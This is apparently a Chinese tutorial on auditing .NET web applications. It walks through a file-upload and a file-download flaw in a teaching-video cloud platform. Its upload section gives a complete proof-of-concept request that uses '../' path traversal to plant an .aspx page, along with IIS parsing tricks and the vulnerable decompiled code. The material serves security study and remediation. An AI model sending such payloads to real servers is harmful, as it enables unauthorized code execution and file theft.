从某教学视频应用云平台入门.net审计
字数 1565 2025-08-18 11:36:48
.NET代码审计入门教学文档
0x00 前言
本文基于某教学视频应用云平台的.NET源码审计案例,介绍.NET应用程序审计的基本方法和流程。该案例包含了文件上传和文件下载漏洞的详细分析过程。
0x01 前置知识
.NET框架基础
.NET是微软开发的框架,支持C#、F#和Visual Basic等语言。ASP.NET是.NET框架中用于构建Web应用程序的组件。
C#文件类型及作用
-
.aspx:
- ASP.NET网页文件
- 包含网页标记和服务器端代码
-
.cs:
- C#源代码文件
- 包含应用程序逻辑
-
.aspx.cs:
- 与.aspx配套的代码文件
- 处理页面服务器端逻辑
-
.ascx:
- 用户控件文件
- 可重复使用的UI组件
-
.asmx:
- Web服务文件
- 支持SOAP通信
-
.asax:
- 全局应用程序类文件
- 包含全局事件处理
-
.dll:
- 动态链接库
- 包含已编译代码
文件分布结构
典型ASP.NET应用程序目录结构:
/YourWebApp
/bin
YourWebApp.dll
/Pages
Home.aspx
Home.aspx.cs
/App_Code
CommonFunctions.cs
Web.config
反编译工具ILSpy
用于反编译.dll文件,查看内部代码。可从GitHub仓库获取:icsharpcode/ILSpy
ASPX文件解析
典型ASPX文件首行:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="MyPage.aspx.cs" Inherits="MyWebApp.MyPage" %>
关键属性:
Language:指定编程语言AutoEventWireup:是否启用自动事件绑定CodeBehind:关联的代码文件路径Inherits:指定继承关系(关键审计点)
0x02 文件上传漏洞分析
漏洞POC
POST /Tools/Video/VideoCover.aspx HTTP/1.1
Host: xxx
[...]
Content-Type:multipart/form-data;boundary=----WebKitFormBoundaryVBf7Cs8QWsfwC82M
------WebKitFormBoundaryVBf7Cs8QWsfwC82M
Content-Disposition: form-data; name="file";filename="/../../../AVA.ResourcesPlatform.WebUI/test.aspx"
Content-Type: image/jpeg
<%@Page Language="C#"%>
<%
Response.Write("test");
%>
------WebKitFormBoundaryVBf7Cs8QWsfwC82M--
漏洞代码分析
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class UploadFile : Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (base.Request.Files.Count <= 0) return;
try
{
HttpPostedFile httpPostedFile = base.Request.Files[0];
string fileName = httpPostedFile.FileName;
string text = base.Request.QueryString["VideoGuid"];
string text2 = base.Server.MapPath("~/Upload/Video/" + text + "/");
if (!Directory.Exists(text2))
{
Directory.CreateDirectory(text2);
}
text2 += httpPostedFile.FileName;
httpPostedFile.SaveAs(text2);
base.Response.Write("Success");
}
catch (Exception ex)
{
base.Response.Write(ex.Message);
}
}
}
漏洞成因
- 未对上传文件类型进行限制
- 文件名直接拼接,未过滤
../等路径遍历字符 - 系统目录结构导致需要跨目录上传:
- xxx.WebUI(前端)
- xxx.AdminUI(后端,包含漏洞代码)
利用技巧
- 利用IIS6.0文件解析缺陷(可解析.asa、.cer等后缀)
- 利用创建文件夹特性进行目录穿越
0x03 文件下载漏洞分析
审计关键词
Response.BinaryWrite和SaveAs是文件操作的关键函数
漏洞代码
using System;
using System.IO;
using System.Web;
using System.Web.UI;
public class Download : Page
{
protected void Page_Load(object sender, EventArgs e)
{
string text = base.Request.GetFormValue("File").UrlDecode();
if (string.IsNullOrEmpty(text))
{
throw new Exception("未指明下载文件");
}
string text2 = base.Server.MapPath("~" + text);
if (!File.Exists(text2))
{
throw new Exception("文件不存在");
}
FileInfo fileInfo = new FileInfo(text2);
if (!ResponseFile(Page.Request, Page.Response, fileInfo.Name, fileInfo.FullName, speed))
{
base.Response.Write("下载文件出错");
}
}
public bool ResponseFile(HttpRequest hRequest, HttpResponse hResponse,
string hfileName, string hfullPath, long hspeed)
{
// 文件下载实现...
hResponse.BinaryWrite(binaryReader.ReadBytes(num2));
// ...
}
}
漏洞成因
- 未对
File参数进行过滤 - 直接拼接用户输入路径
- 未实施权限检查
0x04 审计方法论
1. 定位关键文件
- 关注
.dll、.aspx和.aspx.cs文件 - 通过
Inherits属性追踪代码位置
2. 反编译分析
- 使用ILSpy反编译.dll文件
- 导出为.cs文件便于分析
3. 关键词搜索
常用审计关键词:
- 文件操作:
SaveAs、BinaryWrite、FileStream - 命令执行:
Process.Start、System.Diagnostics - 反序列化:
BinaryFormatter、JavaScriptSerializer - 数据库操作:
SqlCommand、ExecuteNonQuery
4. 路由分析
- 通过.aspx文件定位处理逻辑
- 关注
Page_Load方法(入口点)
5. 漏洞验证
- 搭建测试环境
- 构造POC验证
- 分析防护机制(如有)
0x05 其他潜在漏洞
根据案例,该系统还可能存在:
- SSRF(服务器端请求伪造)
- 未授权访问
- 反序列化漏洞
- SQL注入(需检查数据库操作)
0x06 防御建议
-
文件上传:
- 验证文件类型(白名单)
- 重命名上传文件
- 限制上传目录
- 过滤路径遍历字符
-
文件下载:
- 验证文件路径
- 实施权限检查
- 限制下载目录
-
通用防御:
- 输入验证
- 输出编码
- 最小权限原则
- 安全配置(如IIS)
0x07 总结
本案例展示了.NET应用程序审计的基本流程:
- 通过文件类型和结构了解系统架构
- 使用ILSpy等工具反编译分析
- 关键词搜索定位潜在漏洞
- 分析代码逻辑验证漏洞
- 了解利用方式和影响范围
.NET审计需要熟悉C#语言特性和.NET框架机制,掌握常见漏洞模式和审计技巧。